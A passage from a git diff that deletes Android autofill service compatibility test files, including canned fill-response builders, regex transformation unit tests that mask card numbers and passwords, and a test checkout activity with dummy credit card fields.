-        }
-
-        /**
-         * Sets the view to present the response in the UI.
-         */
-        public Builder setPresentation(RemoteViews presentation) {
-            mPresentation = presentation;
-            return this;
-        }
-
-        /**
-         * Sets the view to present the response in the UI.
-         */
-        public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
-            mInlinePresentation = inlinePresentation;
-            return this;
-        }
-
-        /**
-         * Sets views to present the response in the UI by the type.
-         */
-        public Builder setPresentation(String message, boolean inlineMode) {
-            mPresentation = createPresentation(message);
-            if (inlineMode) {
-                mInlinePresentation = createInlinePresentation(message);
-            }
-            return this;
-        }
-
-        /**
-         * Sets the authentication intent.
-         */
-        public Builder setAuthentication(IntentSender authentication, String... ids) {
-            mAuthenticationIds = ids;
-            mAuthentication = authentication;
-            return this;
-        }
-
-        /**
-         * Sets the ignored fields based on resource ids.
-         */
-        public Builder setIgnoreFields(String...ids) {
-            mIgnoredIds = ids;
-            return this;
-        }
-
-        /**
-         * Sets the negative action spec.
-         */
-        public Builder setNegativeAction(int style, IntentSender listener) {
-            mNegativeActionStyle = style;
-            mNegativeActionListener = listener;
-            return this;
-        }
-
-        /**
-         * Sets the positive action spec.
-         */
-        public Builder setPositiveAction(int style) {
-            mPositiveActionStyle = style;
-            return this;
-        }
-
-        public CannedFillResponse build() {
-            return new CannedFillResponse(this);
-        }
-
-        /**
-         * Sets the response to call {@link FillCallback#onFailure(CharSequence)}.
-         */
-        public Builder returnFailure(String message) {
-            assertWithMessage("already added datasets").that(mDatasets).isEmpty();
-            mFailureMessage = message;
-            return this;
-        }
-
-        /**
-         * Sets the view that explicitly triggers save.
-         */
-        public Builder setSaveTriggerId(AutofillId id) {
-            assertWithMessage("already set").that(mSaveTriggerId).isNull();
-            mSaveTriggerId = id;
-            return this;
-        }
-
-        public Builder disableAutofill(long duration) {
-            assertWithMessage("already set").that(mDisableDuration).isEqualTo(0L);
-            mDisableDuration = duration;
-            return this;
-        }
-
-        /**
-         * Sets the ids used for field classification.
-         */
-        public Builder setFieldClassificationIds(String... ids) {
-            assertWithMessage("already set").that(mFieldClassificationIds).isNull();
-            mFieldClassificationIds = ids;
-            return this;
-        }
-
-        /**
-         * Forces the service to throw an exception when setting the fields classification ids.
-         */
-        public Builder setFieldClassificationIdsOverflow() {
-            mFieldClassificationIdsOverflow = true;
-            return this;
-        }
-
-        public Builder setHeader(RemoteViews header) {
-            assertWithMessage("already set").that(mHeader).isNull();
-            mHeader = header;
-            return this;
-        }
-
-        public Builder setFooter(RemoteViews footer) {
-            assertWithMessage("already set").that(mFooter).isNull();
-            mFooter = footer;
-            return this;
-        }
-
-        public Builder setSaveInfoDecorator(SaveInfoDecorator decorator) {
-            assertWithMessage("already set").that(mSaveInfoDecorator).isNull();
-            mSaveInfoDecorator = decorator;
-            return this;
-        }
-
-        /**
-         * Sets the package-specific UserData.
-         *
-         * <p>Overrides the default UserData for field classification.
-         */
-        public Builder setUserData(UserData userData) {
-            assertWithMessage("already set").that(mUserData).isNull();
-            mUserData = userData;
-            return this;
-        }
-
-        /**
-         * Sets a generic visitor for the "real" request and response.
-         *
-         * <p>Typically used in cases where the test need to infer data from the request to build
-         * the response.
-         */
-        public Builder setVisitor(
-                @NonNull DoubleVisitor<List<FillContext>, FillResponse.Builder> visitor) {
-            mVisitor = visitor;
-            return this;
-        }
-
-        /**
-         * Sets a generic visitor for the "real" request and save info.
-         *
-         * <p>Typically used in cases where the test need to infer data from the request to build
-         * the response.
-         */
-        public Builder setSaveInfoVisitor(
-                @NonNull DoubleVisitor<List<FillContext>, SaveInfo.Builder> visitor) {
-            mSaveInfoVisitor = visitor;
-            return this;
-        }
-
-        /**
-         * Sets targets that cancel current session
-         */
-        public Builder setPresentationCancelIds(int[] ids) {
-            mCancelIds = ids;
-            return this;
-        }
-    }
-
-    /**
-     * Helper class used to produce a {@link Dataset} based on expected fields that should be
-     * present in the {@link AssistStructure}.
-     *
-     * <p>Typical usage:
-     *
-     * <pre class="prettyprint">
-     * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
-     *               .addDataset(new CannedDataset.Builder("dataset_name")
-     *                   .setField("resource_id1", AutofillValue.forText("value1"))
-     *                   .setField("resource_id2", AutofillValue.forText("value2"))
-     *                   .build())
-     *               .build());
-     * </pre class="prettyprint">
-     */
-    public static class CannedDataset {
-        private final Map<String, AutofillValue> mFieldValues;
-        private final Map<String, RemoteViews> mFieldPresentations;
-        private final Map<String, InlinePresentation> mFieldInlinePresentations;
-        private final Map<String, Pair<Boolean, Pattern>> mFieldFilters;
-        private final RemoteViews mPresentation;
-        private final InlinePresentation mInlinePresentation;
-        private final IntentSender mAuthentication;
-        private final String mId;
-
-        private CannedDataset(Builder builder) {
-            mFieldValues = builder.mFieldValues;
-            mFieldPresentations = builder.mFieldPresentations;
-            mFieldInlinePresentations = builder.mFieldInlinePresentations;
-            mFieldFilters = builder.mFieldFilters;
-            mPresentation = builder.mPresentation;
-            mInlinePresentation = builder.mInlinePresentation;
-            mAuthentication = builder.mAuthentication;
-            mId = builder.mId;
-        }
-
-        /**
-         * Creates a new dataset, replacing the field ids by the real ids from the assist structure.
-         */
-        Dataset asDataset(Function<String, ViewNode> nodeResolver) {
-            final Dataset.Builder builder = mPresentation != null
-                    ? mInlinePresentation == null
-                    ? new Dataset.Builder(mPresentation)
-                    : new Dataset.Builder(mPresentation).setInlinePresentation(mInlinePresentation)
-                    : mInlinePresentation == null
-                            ? new Dataset.Builder()
-                            : new Dataset.Builder(mInlinePresentation);
-
-            if (mFieldValues != null) {
-                for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
-                    final String id = entry.getKey();
-                    final ViewNode node = nodeResolver.apply(id);
-                    if (node == null) {
-                        throw new AssertionError("No node with resource id " + id);
-                    }
-                    final AutofillId autofillId = node.getAutofillId();
-                    final AutofillValue value = entry.getValue();
-                    final RemoteViews presentation = mFieldPresentations.get(id);
-                    final InlinePresentation inlinePresentation = mFieldInlinePresentations.get(id);
-                    final Pair<Boolean, Pattern> filter = mFieldFilters.get(id);
-                    if (presentation != null) {
-                        if (filter == null) {
-                            if (inlinePresentation != null) {
-                                builder.setValue(autofillId, value, presentation,
-                                        inlinePresentation);
-                            } else {
-                                builder.setValue(autofillId, value, presentation);
-                            }
-                        } else {
-                            if (inlinePresentation != null) {
-                                builder.setValue(autofillId, value, filter.second, presentation,
-                                        inlinePresentation);
-                            } else {
-                                builder.setValue(autofillId, value, filter.second, presentation);
-                            }
-                        }
-                    } else {
-                        if (inlinePresentation != null) {
-                            builder.setFieldInlinePresentation(autofillId, value,
-                                    filter != null ? filter.second : null, inlinePresentation);
-                        } else {
-                            if (filter == null) {
-                                builder.setValue(autofillId, value);
-                            } else {
-                                builder.setValue(autofillId, value, filter.second);
-                            }
-                        }
-                    }
-                }
-            }
-            builder.setId(mId).setAuthentication(mAuthentication);
-            return builder.build();
-        }
-
-        @Override
-        public String toString() {
-            return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
-                    + ", hasInlinePresentation=" + (mInlinePresentation != null)
-                    + ", fieldPresentations=" + (mFieldPresentations)
-                    + ", fieldInlinePresentations=" + (mFieldInlinePresentations)
-                    + ", hasAuthentication=" + (mAuthentication != null)
-                    + ", fieldValues=" + mFieldValues
-                    + ", fieldFilters=" + mFieldFilters + "]";
-        }
-
-        public static class Builder {
-            private final Map<String, AutofillValue> mFieldValues = new HashMap<>();
-            private final Map<String, RemoteViews> mFieldPresentations = new HashMap<>();
-            private final Map<String, InlinePresentation> mFieldInlinePresentations =
-                    new HashMap<>();
-            private final Map<String, Pair<Boolean, Pattern>> mFieldFilters = new HashMap<>();
-
-            private RemoteViews mPresentation;
-            private InlinePresentation mInlinePresentation;
-            private IntentSender mAuthentication;
-            private String mId;
-
-            public Builder() {
-
-            }
-
-            public Builder(RemoteViews presentation) {
-                mPresentation = presentation;
-            }
-
-            /**
-             * Sets the canned value of a text field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text) {
-                return setField(id, AutofillValue.forText(text));
-            }
-
-            /**
-             * Sets the canned value of a text field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, Pattern filter) {
-                return setField(id, AutofillValue.forText(text), true, filter);
-            }
-
-            public Builder setUnfilterableField(String id, String text) {
-                return setField(id, AutofillValue.forText(text), false, null);
-            }
-
-            /**
-             * Sets the canned value of a list field based on its its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, int index) {
-                return setField(id, AutofillValue.forList(index));
-            }
-
-            /**
-             * Sets the canned value of a toggle field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, boolean toggled) {
-                return setField(id, AutofillValue.forToggle(toggled));
-            }
-
-            /**
-             * Sets the canned value of a date field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, long date) {
-                return setField(id, AutofillValue.forDate(date));
-            }
-
-            /**
-             * Sets the canned value of a date field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, AutofillValue value) {
-                mFieldValues.put(id, value);
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a date field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, AutofillValue value, boolean filterable,
-                    Pattern filter) {
-                setField(id, value);
-                mFieldFilters.put(id, new Pair<>(filterable, filter));
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation) {
-                setField(id, text);
-                mFieldPresentations.put(id, presentation);
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation,
-                    Pattern filter) {
-                setField(id, text, presentation);
-                mFieldFilters.put(id, new Pair<>(true, filter));
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation,
-                    InlinePresentation inlinePresentation) {
-                setField(id, text);
-                mFieldPresentations.put(id, presentation);
-                mFieldInlinePresentations.put(id, inlinePresentation);
-                return this;
-            }
-
-            /**
-             * Sets the canned value of a field based on its {@code id}.
-             *
-             * <p>The meaning of the id is defined by the object using the canned dataset.
-             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
-             * {@link IdMode}.
-             */
-            public Builder setField(String id, String text, RemoteViews presentation,
-                    InlinePresentation inlinePresentation, Pattern filter) {
-                setField(id, text, presentation, inlinePresentation);
-                mFieldFilters.put(id, new Pair<>(true, filter));
-                return this;
-            }
-
-            /**
-             * Sets the view to present the response in the UI.
-             */
-            public Builder setPresentation(RemoteViews presentation) {
-                mPresentation = presentation;
-                return this;
-            }
-
-            /**
-             * Sets the view to present the response in the UI.
-             */
-            public Builder setInlinePresentation(InlinePresentation inlinePresentation) {
-                mInlinePresentation = inlinePresentation;
-                return this;
-            }
-
-            public Builder setPresentation(String message, boolean inlineMode) {
-                mPresentation = createPresentation(message);
-                if (inlineMode) {
-                    mInlinePresentation = createInlinePresentation(message);
-                }
-                return this;
-            }
-
-            /**
-             * Sets the authentication intent.
-             */
-            public Builder setAuthentication(IntentSender authentication) {
-                mAuthentication = authentication;
-                return this;
-            }
-
-            /**
-             * Sets the name.
-             */
-            public Builder setId(String id) {
-                mId = id;
-                return this;
-            }
-
-            /**
-             * Builds the canned dataset.
-             */
-            public CannedDataset build() {
-                return new CannedDataset(this);
-            }
-        }
-    }
-
-    interface SaveInfoDecorator {
-        void decorate(SaveInfo.Builder builder, Function<String, ViewNode> nodeResolver);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceMatcher.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceMatcher.java
deleted file mode 100644
index d3a0404..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceMatcher.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import org.mockito.ArgumentMatcher;
-
-final class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
-    private final CharSequence mExpected;
-
-    CharSequenceMatcher(CharSequence expected) {
-        mExpected = expected;
-    }
-
-    @Override
-    public boolean matches(CharSequence actual) {
-        return actual.toString().equals(mExpected.toString());
-    }
-
-    @Override
-    public String toString() {
-        return mExpected.toString();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
deleted file mode 100644
index 73fc9d4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
+++ /dev/null
@@ -1,248 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.argThat;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class CharSequenceTransformationTest {
-
-    @Test
-    public void testAllNullBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new CharSequenceTransformation.Builder(null, null, null));
-    }
-
-    @Test
-    public void testNullAutofillIdBuilder() {
-        assertThrows(NullPointerException.class,
-                () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
-    }
-
-    @Test
-    public void testNullRegexBuilder() {
-        assertThrows(NullPointerException.class,
-                () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
-    }
-
-    @Test
-    public void testNullSubstBuilder() {
-        assertThrows(NullPointerException.class,
-                () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
-                        null));
-    }
-
-    @Test
-    public void testBadSubst() {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId id3 = new AutofillId(3);
-        AutofillId id4 = new AutofillId(4);
-
-        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
-                Pattern.compile("(.)"), "1=$1");
-
-        // bad subst: The regex has no capture groups
-        b.addField(id2, Pattern.compile("."), "2=$1");
-
-        // bad subst: The regex does not have enough capture groups
-        b.addField(id3, Pattern.compile("(.)"), "3=$2");
-
-        b.addField(id4, Pattern.compile("(.)"), "4=$1");
-
-        CharSequenceTransformation trans = b.build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("a");
-        when(finder.findByAutofillId(id2)).thenReturn("b");
-        when(finder.findByAutofillId(id3)).thenReturn("c");
-        when(finder.findByAutofillId(id4)).thenReturn("d");
-
-        assertThrows(IndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
-
-        // fail one, fail all
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testUnknownField() throws Exception {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId unknownId = new AutofillId(42);
-
-        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
-                Pattern.compile(".*"), "1");
-
-        // bad subst: The field will not be found
-        b.addField(unknownId, Pattern.compile(".*"), "unknown");
-
-        b.addField(id2, Pattern.compile(".*"), "2");
-
-        CharSequenceTransformation trans = b.build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("1");
-        when(finder.findByAutofillId(id2)).thenReturn("2");
-        when(finder.findByAutofillId(unknownId)).thenReturn(null);
-
-        trans.apply(finder, template, 0);
-
-        // if a view cannot be found, nothing is not, not even partial results
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testCreditCardObfuscator() throws Exception {
-        AutofillId creditCardFieldId = new AutofillId(1);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(creditCardFieldId,
-                        Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
-                        "...$1")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
-    }
-
-    @Test
-    public void testReplaceAllByOne() throws Exception {
-        AutofillId id = new AutofillId(1);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(id, Pattern.compile("."), "*")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("four");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
-    }
-
-    @Test
-    public void testPartialMatchIsIgnored() throws Exception {
-        AutofillId id = new AutofillId(1);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(id, Pattern.compile("^MATCH$"), "*")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
-
-        trans.apply(finder, template, 0);
-
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void userNameObfuscator() throws Exception {
-        AutofillId userNameFieldId = new AutofillId(1);
-        AutofillId passwordFieldId = new AutofillId(2);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
-                .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
-        when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(),
-                argThat(new CharSequenceMatcher("myUserName/..rd")));
-    }
-
-    @Test
-    public void testMismatch() throws Exception {
-        AutofillId id1 = new AutofillId(1);
-        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
-                Pattern.compile("Who are you?"), "1");
-
-        CharSequenceTransformation trans = b.build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
-
-        trans.apply(finder, template, 0);
-
-        // If the match fails, the view should not change.
-        verify(template, never()).setCharSequence(eq(0), any(), any());
-    }
-
-    @Test
-    public void testFieldsAreAppliedInOrder() throws Exception {
-        AutofillId id1 = new AutofillId(1);
-        AutofillId id2 = new AutofillId(2);
-        AutofillId id3 = new AutofillId(3);
-        CharSequenceTransformation trans = new CharSequenceTransformation
-                .Builder(id1, Pattern.compile("a"), "A")
-                .addField(id3, Pattern.compile("c"), "C")
-                .addField(id2, Pattern.compile("b"), "B")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id1)).thenReturn("a");
-        when(finder.findByAutofillId(id2)).thenReturn("b");
-        when(finder.findByAutofillId(id3)).thenReturn("c");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("ACB")));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
deleted file mode 100644
index f5e7f87..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
+++ /dev/null
@@ -1,236 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.widget.ArrayAdapter.createFromResource;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.widget.ArrayAdapter;
-import android.widget.Button;
-import android.widget.CheckBox;
-import android.widget.EditText;
-import android.widget.RadioButton;
-import android.widget.RadioGroup;
-import android.widget.Spinner;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that has the following fields:
- *
- * <ul>
- *   <li>Credit Card Number EditText (id: cc_numberusername, no input-type)
- *   <li>Credit Card Expiration EditText (id: cc_expiration, no input-type)
- *   <li>Address RadioGroup (id: addess, no autofill-type)
- *   <li>Save Credit Card CheckBox (id: save_cc, no autofill-type)
- *   <li>Clear Button
- *   <li>Buy Button
- * </ul>
- */
-public class CheckoutActivity extends AbstractAutoFillActivity {
-    private static final long BUY_TIMEOUT_MS = 1000;
-
-    static final String ID_CC_NUMBER = "cc_number";
-    static final String ID_CC_EXPIRATION = "cc_expiration";
-    static final String ID_ADDRESS = "address";
-    static final String ID_HOME_ADDRESS = "home_address";
-    static final String ID_WORK_ADDRESS = "work_address";
-    static final String ID_SAVE_CC = "save_cc";
-
-    static final int INDEX_ADDRESS_HOME = 0;
-    static final int INDEX_ADDRESS_WORK = 1;
-
-    static final int INDEX_CC_EXPIRATION_YESTERDAY = 0;
-    static final int INDEX_CC_EXPIRATION_TODAY = 1;
-    static final int INDEX_CC_EXPIRATION_TOMORROW = 2;
-    static final int INDEX_CC_EXPIRATION_NEVER = 3;
-
-    private EditText mCcNumber;
-    private Spinner mCcExpiration;
-    private ArrayAdapter<CharSequence> mCcExpirationAdapter;
-    private RadioGroup mAddress;
-    private RadioButton mHomeAddress;
-    private CheckBox mSaveCc;
-    private Button mBuyButton;
-    private Button mClearButton;
-
-    private FillExpectation mExpectation;
-    private CountDownLatch mBuyLatch;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(getContentView());
-
-        mCcNumber = findViewById(R.id.cc_number);
-        mCcExpiration = findViewById(R.id.cc_expiration);
-        mAddress = findViewById(R.id.address);
-        mHomeAddress = findViewById(R.id.home_address);
-        mSaveCc = findViewById(R.id.save_cc);
-        mBuyButton = findViewById(R.id.buy);
-        mClearButton = findViewById(R.id.clear);
-
-        mCcExpirationAdapter = createFromResource(this,
-                R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
-        mCcExpirationAdapter
-                .setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
-        mCcExpiration.setAdapter(mCcExpirationAdapter);
-
-        mBuyButton.setOnClickListener((v) -> buy());
-        mClearButton.setOnClickListener((v) -> resetFields());
-    }
-
-    protected int getContentView() {
-        return R.layout.checkout_activity;
-    }
-
-    /**
-     * Resets the values of the input fields.
-     */
-    private void resetFields() {
-        mCcNumber.setText("");
-        mCcExpiration.setSelection(0, false);
-        mAddress.clearCheck();
-        mSaveCc.setChecked(false);
-    }
-
-    /**
-     * Emulates a buy action.
-     */
-    private void buy() {
-        final Intent intent = new Intent(this, WelcomeActivity.class);
-        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Thank you an come again!");
-        startActivity(intent);
-        if (mBuyLatch != null) {
-            // Latch is not set when activity launched outside tests
-            mBuyLatch.countDown();
-        }
-        finish();
-    }
-
-    /**
-     * Sets the expectation for an auto-fill request, so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    void expectAutoFill(String ccNumber, int ccExpirationIndex, int addressId, boolean saveCc) {
-        mExpectation = new FillExpectation(ccNumber, ccExpirationIndex, addressId, saveCc);
-        mCcNumber.addTextChangedListener(mExpectation.ccNumberWatcher);
-        mCcExpiration.setOnItemSelectedListener(mExpectation.ccExpirationListener);
-        mAddress.setOnCheckedChangeListener(mExpectation.addressListener);
-        mSaveCc.setOnCheckedChangeListener(mExpectation.saveCcListener);
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, int, int, boolean)}.
-     */
-    void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.ccNumberWatcher.assertAutoFilled();
-        mExpectation.ccExpirationListener.assertAutoFilled();
-        mExpectation.addressListener.assertAutoFilled();
-        mExpectation.saveCcListener.assertAutoFilled();
-    }
-
-    /**
-     * Visits the {@code ccNumber} in the UiThread.
-     */
-    void onCcNumber(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mCcNumber));
-    }
-
-    /**
-     * Visits the {@code ccExpirationDate} in the UiThread.
-     */
-    void onCcExpiration(Visitor<Spinner> v) {
-        syncRunOnUiThread(() -> v.visit(mCcExpiration));
-    }
-
-    /**
-     * Visits the {@code ccExpirationDate} adapter in the UiThread.
-     */
-    void onCcExpirationAdapter(Visitor<ArrayAdapter<CharSequence>> v) {
-        syncRunOnUiThread(() -> v.visit(mCcExpirationAdapter));
-    }
-
-    /**
-     * Visits the {@code address} in the UiThread.
-     */
-    void onAddress(Visitor<RadioGroup> v) {
-        syncRunOnUiThread(() -> v.visit(mAddress));
-    }
-
-    /**
-     * Visits the {@code homeAddress} in the UiThread.
-     */
-    void onHomeAddress(Visitor<RadioButton> v) {
-        syncRunOnUiThread(() -> v.visit(mHomeAddress));
-    }
-
-    /**
-     * Visits the {@code saveCC} in the UiThread.
-     */
-    void onSaveCc(Visitor<CheckBox> v) {
-        syncRunOnUiThread(() -> v.visit(mSaveCc));
-    }
-
-    /**
-     * Taps the buy button in the UI thread.
-     */
-    void tapBuy() throws Exception {
-        mBuyLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mBuyButton.performClick());
-        boolean called = mBuyLatch.await(BUY_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for buy action", BUY_TIMEOUT_MS)
-                .that(called).isTrue();
-    }
-
-    EditText getCcNumber() {
-        return mCcNumber;
-    }
-
-    Spinner getCcExpiration() {
-        return mCcExpiration;
-    }
-
-    ArrayAdapter<CharSequence> getCcExpirationAdapter() {
-        return mCcExpirationAdapter;
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeTextWatcher ccNumberWatcher;
-        private final OneTimeSpinnerListener ccExpirationListener;
-        private final OneTimeRadioGroupListener addressListener;
-        private final OneTimeCompoundButtonListener saveCcListener;
-
-        private FillExpectation(String ccNumber, int ccExpirationIndex, int addressId,
-                boolean saveCc) {
